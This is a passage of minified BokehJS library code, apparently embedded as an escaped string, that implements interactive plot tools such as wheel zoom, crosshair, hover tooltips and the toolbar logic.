e,i=t.sx,n=t.sy,r=t.scale;e=1<=r?20*(r-1):-20/r,this._scroll({type:\\\"mousewheel\\\",sx:i,sy:n,delta:e})},e.prototype._scroll=function(t){var e=this.plot_model.frame,i=e.bbox.h_range,n=e.bbox.v_range,r=t.sx,o=t.sy,s=this.model.dimensions,a=(\\\"width\\\"==s||\\\"both\\\"==s)&&i.start<r&&r<i.end,l=(\\\"height\\\"==s||\\\"both\\\"==s)&&n.start<o&&o<n.end;if(a&&l||this.model.zoom_on_axis){var h=this.model.speed*t.delta,u=c.scale_range(e,h,a,l,{x:r,y:o});this.plot_view.push_state(\\\"wheel_zoom\\\",{range:u}),this.plot_view.update_range(u,!1,!0,this.model.maintain_focus),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)}},e}(r.GestureToolView);i.WheelZoomToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Zoom\\\",e.icon=\\\"bk-tool-icon-wheel-zoom\\\",e.event_type=s.is_mobile?\\\"pinch\\\":\\\"scroll\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[o.Dimensions,\\\"both\\\"],maintain_focus:[o.Boolean,!0],zoom_on_axis:[o.Boolean,!0],speed:[o.Number,1/600]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelZoomTool=l).initClass()},function(t,e,i){var n=t(232);i.ActionTool=n.ActionTool;var r=t(233);i.CustomAction=r.CustomAction;var o=t(234);i.HelpTool=o.HelpTool;var s=t(235);i.RedoTool=s.RedoTool;var a=t(236);i.ResetTool=a.ResetTool;var l=t(237);i.SaveTool=l.SaveTool;var h=t(238);i.UndoTool=h.UndoTool;var u=t(239);i.ZoomInTool=u.ZoomInTool;var c=t(240);i.ZoomOutTool=c.ZoomOutTool;var _=t(241);i.ButtonTool=_.ButtonTool;var p=t(243);i.EditTool=p.EditTool;var d=t(242);i.BoxEditTool=d.BoxEditTool;var f=t(244);i.FreehandDrawTool=f.FreehandDrawTool;var v=t(245);i.PointDrawTool=v.PointDrawTool;var m=t(246);i.PolyDrawTool=m.PolyDrawTool;var g=t(248);i.PolyTool=g.PolyTool;var y=t(247);i.PolyEditTool=y.PolyEditTool;var b=t(249);i.BoxSelectTool=b.BoxSelectTool;var x=t(250);i.BoxZoomTool=x.BoxZoomTool;var w=t(251);i.GestureTool=w.GestureTool;var k=t(252);i.LassoSelectTool=k.LassoSelectTool;var S=t(253);i.PanTool=S.PanTool;var C=t(254);i.PolySelectTool=C.PolySelectTool;var T=t(255);i.RangeTool=T.RangeTool;var A=t(256);i.SelectTool=A.SelectTool;var E=t(257);i.TapTool=E.TapTool;var M=t(258);i.WheelPanTool=M.WheelPanTool;var O=t(259);i.WheelZoomTool=O.WheelZoomTool;var z=t(261);i.CrosshairTool=z.CrosshairTool;var P=t(262);i.CustomJSHover=P.CustomJSHover;var j=t(263);i.HoverTool=j.HoverTool;var N=t(264);i.InspectTool=N.InspectTool;var F=t(266);i.Tool=F.Tool;var D=t(267);i.ToolProxy=D.ToolProxy;var I=t(268);i.Toolbar=I.Toolbar;var R=t(269);i.ToolbarBase=R.ToolbarBase;var B=t(270);i.ProxyToolbar=B.ProxyToolbar;var L=t(270);i.ToolbarBox=L.ToolbarBox},function(t,e,i){var n=t(391),r=t(264),o=t(73),s=t(15),a=t(32),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._update_spans(e,i):this._update_spans(null,null)}},e.prototype._move_exit=function(t){this._update_spans(null,null)},e.prototype._update_spans=function(t,e){var i=this.model.dimensions;\\\"width\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.width.computed_location=e),\\\"height\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.height.computed_location=t)},e}(r.InspectToolView);i.CrosshairToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Crosshair\\\",e.icon=\\\"bk-tool-icon-crosshair\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CrosshairTool\\\",this.prototype.default_view=l,this.define({dimensions:[s.Dimensions,\\\"both\\\"],line_color:[s.Color,\\\"black\\\"],line_width:[s.Number,1],line_alpha:[s.Number,1]}),this.internal({location_units:[s.SpatialUnits,\\\"screen\\\"],render_mode:[s.RenderMode,\\\"css\\\"],spans:[s.Any]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Crosshair\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return a.values(this.spans)},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){i.prototype.initialize.call(this),this.spans={width:new o.Span({for_hover:!0,dimension:\\\"width\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha}),height:new o.Span({for_hover:!0,dimension:\\\"height\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha})}},t}(r.InspectTool);(i.CrosshairTool=h).initClass()},function(r,t,o){var i=r(391),e=r(59),n=r(15),s=r(32),a=r(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSHover\\\",this.define({args:[n.Any,{}],code:[n.String,\\\"\\\"]})},Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_code=function(t,e,i,n){return new(Function.bind.apply(Function,[void 0].concat(s.keys(this.args),[t,e,i,\\\"require\\\",\\\"exports\\\",a.use_strict(n)])))},t.prototype.format=function(t,e,i){var n=this._make_code(\\\"value\\\",\\\"format\\\",\\\"special_vars\\\",this.code);return n.apply(void 0,this.values.concat([t,e,i,r,o]))},t}(e.Model);(o.CustomJSHover=l).initClass()},function(t,e,i){var f=t(391),n=t(264),s=t(77),Z=t(185),tt=t(186),o=t(271),c=t(9),k=t(40),S=t(5),r=t(15),C=t(27),et=t(32),T=t(44),a=t(4);function it(t,e,i,n,r,o){var s,a,l={x:r[t],y:o[t]},h={x:r[t+1],y:o[t+1]};if(\\\"span\\\"==e.type)\\\"h\\\"==e.direction?(s=Math.abs(l.x-i),a=Math.abs(h.x-i)):(s=Math.abs(l.y-n),a=Math.abs(h.y-n));else{var u={x:i,y:n};s=c.dist_2_pts(l,u),a=c.dist_2_pts(h,u)}return s<a?[[l.x,l.y],t]:[[h.x,h.y],t+1]}function nt(t,e,i){return[[t[i],e[i]],i]}i._nearest_line_hit=it,i._line_hit=nt;var l=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return f.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this.ttviews={}},t.prototype.remove=function(){a.remove_views(this.ttviews),r.prototype.remove.call(this)},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this);for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e];n instanceof Z.GlyphRenderer?this.connect(n.data_source.inspect,this._update):(this.connect(n.node_renderer.data_source.inspect,this._update),this.connect(n.edge_renderer.data_source.inspect,this._update))}this.connect(this.model.properties.renderers.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.names.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.tooltips.change,function(){return t._ttmodels=null})},t.prototype._compute_ttmodels=function(){var t={},e=this.model.tooltips;if(null!=e)for(var i=0,n=this.computed_renderers;i<n.length;i++){var r=n[i];if(r instanceof Z.GlyphRenderer){var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.id]=o}else{var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.node_renderer.id]=o,t[r.edge_renderer.id]=o}}return a.build_views(this.ttviews,et.values(t),{parent:this,plot_view:this.plot_view}),t},Object.defineProperty(t.prototype,\\\"computed_renderers\\\",{get:function(){if(null==this._computed_renderers){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;this._computed_renderers=o.compute_renderers(t,e,i)}return this._computed_renderers},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ttmodels\\\",{get:function(){return null==this._ttmodels&&(this._ttmodels=this._compute_ttmodels()),this._ttmodels},enumerable:!0,configurable:!0}),t.prototype._clear=function(){for(var t in this._inspect(1/0,1/0),this.ttmodels){var e=this.ttmodels[t];e.clear()}},t.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._inspect(e,i):this._clear()}},t.prototype._move_exit=function(){this._clear()},t.prototype._inspect=function(t,e){var i;if(\\\"mouse\\\"==this.model.mode)i={type:\\\"point\\\",sx:t,sy:e};else{var n=\\\"vline\\\"==this.model.mode?\\\"h\\\":\\\"v\\\";i={type:\\\"span\\\",direction:n,sx:t,sy:e}}for(var r=0,o=this.computed_renderers;r<o.length;r++){var s=o[r],a=s.get_selection_manager();a.inspect(this.plot_view.renderer_views[s.id],i)}null!=this.model.callback&&this._emit_callback(i)},t.prototype._update=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t[0],g=t[1].geometry;if(this.model.active&&(m instanceof Z.GlyphRendererView||m instanceof tt.GraphRendererView)){var y=m.model,b=this.ttmodels[y.id];if(null!=b){b.clear();var x=y.get_selection_manager(),w=x.inspectors[y.id];if(y instanceof Z.GlyphRenderer&&(w=y.view.convert_selection_to_subset(w)),!w.is_empty()){for(var k=x.source,S=this.plot_model.frame,C=g.sx,T=g.sy,A=S.xscales[y.x_range_name],E=S.yscales[y.y_range_name],M=A.invert(C),O=E.invert(T),z=m.glyph,P=0,j=w.line_indices;P<j.length;P++){var N=j[P],F=z._x[N+1],D=z._y[N+1],I=N,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":e=z.get_interpolation_hit(N,g),F=e[0],D=e[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":i=nt(z.sx,z.sy,N),n=i[0],R=n[0],B=n[1],I=i[1];break;case\\\"next\\\":r=nt(z.sx,z.sy,N+1),o=r[0],R=o[0],B=o[1],I=r[1];break;case\\\"nearest\\\":s=it(N,g,C,T,z.sx,z.sy),a=s[0],R=a[0],B=a[1],I=s[1],F=z._x[I],D=z._y[I];break;default:R=(l=[C,T])[0],B=l[1]}var L={index:I,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,rx:R,ry:B,indices:w.line_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,I,L))}for(var V=0,G=w.image_indices;V<G.length;V++){var U=G[V],L={index:U.index,x:M,y:O,sx:C,sy:T},q=this._render_tooltips(k,U,L);b.add(C,T,q)}for(var Y=0,X=w.indices;Y<X.length;Y++){var N=X[Y];if(et.isEmpty(w.multiline_indices)){var F=null!=z._x?z._x[N]:void 0,D=null!=z._y?z._y[N]:void 0,R=void 0,B=void 0;if(\\\"snap_to_data\\\"==this.model.point_policy){var H=z.get_anchor_point(this.model.anchor,N,[C,T]);null==H&&(H=z.get_anchor_point(\\\"center\\\",N,[C,T])),R=H.x,B=H.y}else R=(v=[C,T])[0],B=v[1];var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}else for(var J=0,Q=w.multiline_indices[N.toString()];J<Q.length;J++){var $=Q[J],F=z._xs[N][$],D=z._ys[N][$],K=$,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":h=z.get_interpolation_hit(N,$,g),F=h[0],D=h[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":u=nt(z.sxs[N],z.sys[N],$),c=u[0],R=c[0],B=c[1],K=u[1];break;case\\\"next\\\":_=nt(z.sxs[N],z.sys[N],$+1),p=_[0],R=p[0],B=p[1],K=_[1];break;case\\\"nearest\\\":d=it($,g,C,T,z.sxs[N],z.sys[N]),f=d[0],R=f[0],B=f[1],K=d[1],F=z._xs[N][K],D=z._ys[N][K];break;default:throw new Error(\\\"should't have happened\\\")}var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,segment_index:K,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.multiline_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}}}}}},t.prototype._emit_callback=function(t){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source.inspected,o=this.plot_model.frame,s=o.xscales[n.x_range_name],a=o.yscales[n.y_range_name],l=s.invert(t.sx),h=a.invert(t.sy),u=f.__assign({x:l,y:h},t),c=this.model.callback,_=[c,{index:r,geometry:u,renderer:n}],p=_[0],d=_[1];T.isFunction(c)?c(p,d):c.execute(p,d)}},t.prototype._render_tooltips=function(t,e,i){var n=this.model.tooltips;if(T.isString(n)){var r=S.div();return r.innerHTML=k.replace_placeholders(n,t,e,this.model.formatters,i),r}if(T.isFunction(n))return n(t,i);for(var o=S.div({style:{display:\\\"table\\\",borderSpacing:\\\"2px\\\"}}),s=0,a=n;s<a.length;s++){var l=a[s],h=l[0],u=l[1],c=S.div({style:{display:\\\"table-row\\\"}});o.appendChild(c);var _=void 0;if(_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-label\\\"},h+\\\": \\\"),c.appendChild(_),_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-value\\\"}),c.appendChild(_),0<=u.indexOf(\\\"$color\\\")){var p=u.match(/\\\\$color(\\\\[.*\\\\])?:(\\\\w*)/),d=p[1],f=void 0===d?\\\"\\\":d,v=p[2],m=t.get_column(v);if(null==m){var g=S.span({},v+\\\" unknown\\\");_.appendChild(g);continue}var y=0<=f.indexOf(\\\"hex\\\"),b=0<=f.indexOf(\\\"swatch\\\"),x=T.isNumber(e)?m[e]:null;if(null==x){var w=S.span({},\\\"(null)\\\");_.appendChild(w);continue}y&&(x=C.color2hex(x));var r=S.span({},x);_.appendChild(r),b&&(r=S.span({class:\\\"bk-tooltip-color-block\\\",style:{backgroundColor:x}},\\\" \\\"),_.appendChild(r))}else{var r=S.span();r.innerHTML=k.replace_placeholders(u.replace(\\\"$~\\\",\\\"$data_\\\"),t,e,this.model.formatters,i),_.appendChild(r)}}return o},t}(n.InspectToolView);i.HoverToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Hover\\\",e.icon=\\\"bk-tool-icon-hover\\\",e}return f.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HoverTool\\\",this.prototype.default_view=l,this.define({tooltips:[r.Any,[[\\\"index\\\",\\\"$index\\\"],[\\\"data (x, y)\\\",\\\"($x, $y)\\\"],[\\\"screen (x, y)\\\",\\\"($sx, $sy)\\\"]]],formatters:[r.Any,{}],renderers:[r.Any,\\\"auto\\\"],names:[r.Array,[]],mode:[r.String,\\\"mouse\\\"],point_policy:[r.String,\\\"snap_to_data\\\"],line_policy:[r.String,\\\"nearest\\\"],show_arrow:[r.Boolean,!0],anchor:[r.String,\\\"center\\\"],attachment:[r.String,\\\"horizontal\\\"],callback:[r.Any]})},t}(n.InspectTool);(i.HoverTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.InspectToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.event_type=\\\"move\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"InspectTool\\\",this.prototype.button_view=o.OnOffButtonView,this.define({toggleable:[s.Bool,!0]}),this.override({active:!0})},t}(r.ButtonTool);(i.InspectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(241),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active?this.el.classList.add(\\\"bk-active\\\"):this.el.classList.remove(\\\"bk-active\\\")},e.prototype._clicked=function(){var t=this.model.active;this.model.active=!t},e}(r.ButtonToolButtonView);i.OnOffButtonView=o},function(t,e,i){var n=t(391),r=t(15),o=t(48),_=t(21),s=t(59),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){t.model.active?t.activate():t.deactivate()})},t.prototype.activate=function(){},t.prototype.deactivate=function(){},t}(o.View);i.ToolView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tool\\\",this.internal({active:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return[]},enumerable:!0,configurable:!0}),t.prototype._get_dim_tooltip=function(t,e){switch(e){case\\\"width\\\":return t+\\\" (x-axis)\\\";case\\\"height\\\":return t+\\\" (y-axis)\\\";case\\\"both\\\":return t}},t.prototype._get_dim_limits=function(t,e,i,n){var r,o=t[0],s=t[1],a=e[0],l=e[1],h=i.bbox.h_range;\\\"width\\\"==n||\\\"both\\\"==n?(r=[_.min([o,a]),_.max([o,a])],r=[_.max([r[0],h.start]),_.min([r[1],h.end])]):r=[h.start,h.end];var u,c=i.bbox.v_range;return\\\"height\\\"==n||\\\"both\\\"==n?(u=[_.min([s,l]),_.max([s,l])],u=[_.max([u[0],c.start]),_.min([u[1],c.end])]):u=[c.start,c.end],[r,u]},t}(s.Model);(i.Tool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(19),s=t(59),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolProxy\\\",this.define({tools:[r.Array,[]],active:[r.Bool,!1],disabled:[r.Bool,!1]})},Object.defineProperty(t.prototype,\\\"button_view\\\",{get:function(){return this.tools[0].button_view},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"event_type\\\",{get:function(){return this.tools[0].event_type},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tools[0].tooltip},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tool_name\\\",{get:function(){return this.tools[0].tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){return this.tools[0].computed_icon},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.do=new o.Signal0(this,\\\"do\\\")},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.do,function(){return t.doit()}),this.connect(this.properties.active.change,function(){return t.set_active()})},t.prototype.doit=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.do.emit()}},t.prototype.set_active=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.active=this.active}},t}(s.Model);(i.ToolProxy=a).initClass()},function(t,e,i){var n=t(391),r=t(15),v=t(14),m=t(44),g=t(21),y=t(232),b=t(234),x=t(251),w=t(264),o=t(269),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toolbar\\\",this.prototype.default_view=o.ToolbarBaseView,this.define({active_drag:[r.Any,\\\"auto\\\"],active_inspect:[r.Any,\\\"auto\\\"],active_scroll:[r.Any,\\\"auto\\\"],active_tap:[r.Any,\\\"auto\\\"],active_multi:[r.Any,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.tools.change,function(){return t._init_tools()})},t.prototype._init_tools=function(){for(var e=this,t=function(e){if(e instanceof w.InspectTool)g.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof b.HelpTool)g.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof y.ActionTool)g.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof x.GestureTool){var t=void 0,i=void 0;m.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),g.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e])),s.connect(e.properties.active.change,s._active_change.bind(s,e))):v.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,i=0,n=this.tools;i<n.length;i++){var r=n[i];t(r)}if(\\\"auto\\\"==this.active_inspect);else if(this.active_inspect instanceof w.InspectTool)for(var o=0,a=this.inspectors;o<a.length;o++){var l=a[o];l!=this.active_inspect&&(l.active=!1)}else if(m.isArray(this.active_inspect))for(var h=0,u=this.inspectors;h<u.length;h++){var l=u[h];g.includes(this.active_inspect,l)||(l.active=!1)}else if(null==this.active_inspect)for(var c=0,_=this.inspectors;c<_.length;c++){var l=_[c];l.active=!1}var p=function(t){t.active?e._active_change(t):t.active=!0};for(var d in this.gestures){var f=this.gestures[d];if(0!=f.tools.length){if(f.tools=g.sortBy(f.tools,function(t){return t.default_order}),\\\"tap\\\"==d){if(null==this.active_tap)continue;\\\"auto\\\"==this.active_tap?p(f.tools[0]):p(this.active_tap)}if(\\\"pan\\\"==d){if(null==this.active_drag)continue;\\\"auto\\\"==this.active_drag?p(f.tools[0]):p(this.active_drag)}if(\\\"pinch\\\"==d||\\\"scroll\\\"==d){if(null==this.active_scroll||\\\"auto\\\"==this.active_scroll)continue;p(this.active_scroll)}null!=this.active_multi&&p(this.active_multi)}}},t}(o.ToolbarBase);(i.Toolbar=s).initClass()},function(t,e,i){var n=t(391),a=t(14),c=t(5),r=t(4),o=t(15),s=t(6),l=t(44),h=t(59),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.define({_visible:[o.Bool,null],autohide:[o.Bool,!1]})},Object.defineProperty(t.prototype,\\\"visible\\\",{get:function(){return!this.autohide||null!=this._visible&&this._visible},enumerable:!0,configurable:!0}),t}(h.Model);(i.ToolbarViewModel=u).initClass();var _=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._tool_button_views={},this._build_tool_button_views(),this._toolbar_view_model=new u({autohide:this.model.autohide})},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.tools.change,function(){return t._build_tool_button_views()}),this.connect(this.model.properties.autohide.change,function(){t._toolbar_view_model.autohide=t.model.autohide,t._on_visible_change()}),this.connect(this._toolbar_view_model.properties._visible.change,function(){return t._on_visible_change()})},t.prototype.remove=function(){r.remove_views(this._tool_button_views),e.prototype.remove.call(this)},t.prototype._build_tool_button_views=function(){var t=null!=this.model._proxied_tools?this.model._proxied_tools:this.model.tools;r.build_views(this._tool_button_views,t,{parent:this},function(t){return t.button_view})},t.prototype.set_visibility=function(t){t!=this._toolbar_view_model._visible&&(this._toolbar_view_model._visible=t)},t.prototype._on_visible_change=function(){var t=this._toolbar_view_model.visible,e=\\\"bk-toolbar-hidden\\\";this.el.classList.contains(e)&&t?this.el.classList.remove(e):t||this.el.classList.add(e)},t.prototype.render=function(){var e=this;if(c.empty(this.el),this.el.classList.add(\\\"bk-toolbar\\\"),this.el.classList.add(\\\"bk-toolbar-\\\"+this.model.toolbar_location),this._toolbar_view_model.autohide=this.model.autohide,this._on_visible_change(),null!=this.model.logo){var t=\\\"grey\\\"===this.model.logo?\\\"bk-grey\\\":null,i=c.a({href:\\\"https://bokeh.pydata.org/\\\",target:\\\"_blank\\\",class:[\\\"bk-logo\\\",\\\"bk-logo-small\\\",t]});this.el.appendChild(i)}var n=[],r=function(t){return e._tool_button_views[t.id].el},o=this.model.gestures;for(var s in o)n.push(o[s].tools.map(r));n.push(this.model.actions.map(r)),n.push(this.model.inspectors.filter(function(t){return t.toggleable}).map(r)),n.push(this.model.help.map(r));for(var a=0,l=n;a<l.length;a++){var h=l[a];if(0!==h.length){var u=c.div({class:\\\"bk-button-bar\\\"},h);this.el.appendChild(u)}}},t}(s.DOMView);i.ToolbarBaseView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.prototype.default_view=_,this.define({tools:[o.Array,[]],logo:[o.String,\\\"normal\\\"],autohide:[o.Bool,!1]}),this.internal({gestures:[o.Any,function(){return{pan:{tools:[],active:null},scroll:{tools:[],active:null},pinch:{tools:[],active:null},tap:{tools:[],active:null},doubletap:{tools:[],active:null},press:{tools:[],active:null},rotate:{tools:[],active:null},move:{tools:[],active:null},multi:{tools:[],active:null}}}],actions:[o.Array,[]],inspectors:[o.Array,[]],help:[o.Array,[]],toolbar_location:[o.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"horizontal\\\",{get:function(){return\\\"above\\\"===this.toolbar_location||\\\"below\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vertical\\\",{get:function(){return\\\"left\\\"===this.toolbar_location||\\\"right\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),t.prototype._active_change=function(t){var e=t.event_type;if(null!=e)for(var i=l.isString(e)?[e]:e,n=0,r=i;n<r.length;n++){var o=r[n];if(t.active){var s=this.gestures[o].active;null!=s&&t!=s&&(a.logger.debug(\\\"Toolbar: deactivating tool: \\\"+s.type+\\\" (\\\"+s.id+\\\") for event type '\\\"+o+\\\"'\\\"),s.active=!1),this.gestures[o].active=t,a.logger.debug(\\\"Toolbar: activating tool: \\\"+t.type+\\\" (\\\"+t.id+\\\") for event type '\\\"+o+\\\"'\\\")}else this.gestures[o].active=null}},t}(h.Model);(i.ToolbarBase=p).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(5),a=t(14),l=t(44),E=t(21),h=t(232),u=t(234),c=t(251),_=t(264),s=t(269),M=t(267),p=t(157),d=t(4),f=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ProxyToolbar\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools(),this._merge_tools()},t.prototype._init_tools=function(){for(var t=function(e){if(e instanceof _.InspectTool)E.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof u.HelpTool)E.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof h.ActionTool)E.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof c.GestureTool){var t=void 0,i=void 0;l.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),E.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e]))):a.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,e=0,i=this.tools;e<i.length;e++){var n=i[e];t(n)}},t.prototype._merge_tools=function(){var t,n=this;this._proxied_tools=[];for(var e={},i={},r={},o=[],s=[],a=0,l=this.help;a<l.length;a++){var h=l[a];E.includes(s,h.redirect)||(o.push(h),s.push(h.redirect))}for(var u in(t=this._proxied_tools).push.apply(t,o),this.help=o,this.gestures){var c=this.gestures[u];u in r||(r[u]={});for(var _=0,p=c.tools;_<p.length;_++){var d=p[_];d.type in r[u]||(r[u][d.type]=[]),r[u][d.type].push(d)}}for(var f=0,v=this.inspectors;f<v.length;f++){var d=v[f];d.type in e||(e[d.type]=[]),e[d.type].push(d)}for(var m=0,g=this.actions;m<g.length;m++){var d=g[m];d.type in i||(i[d.type]=[]),i[d.type].push(d)}var y=function(t,e){void 0===e&&(e=!1);var i=new M.ToolProxy({tools:t,active:e});return n._proxied_tools.push(i),i};for(var u in r){var c=this.gestures[u];for(var b in c.tools=[],r[u]){var x=r[u][b];if(0<x.length)if(\\\"multi\\\"==u)for(var w=0,k=x;w<k.length;w++){var d=k[w],S=y([d]);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}else{var S=y(x);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}}}for(var b in this.actions=[],i){var x=i[b];if(\\\"CustomAction\\\"==b)for(var C=0,T=x;C<T.length;C++){var d=T[C];this.actions.push(y([d]))}else 0<x.length&&this.actions.push(y(x))}for(var b in this.inspectors=[],e){var 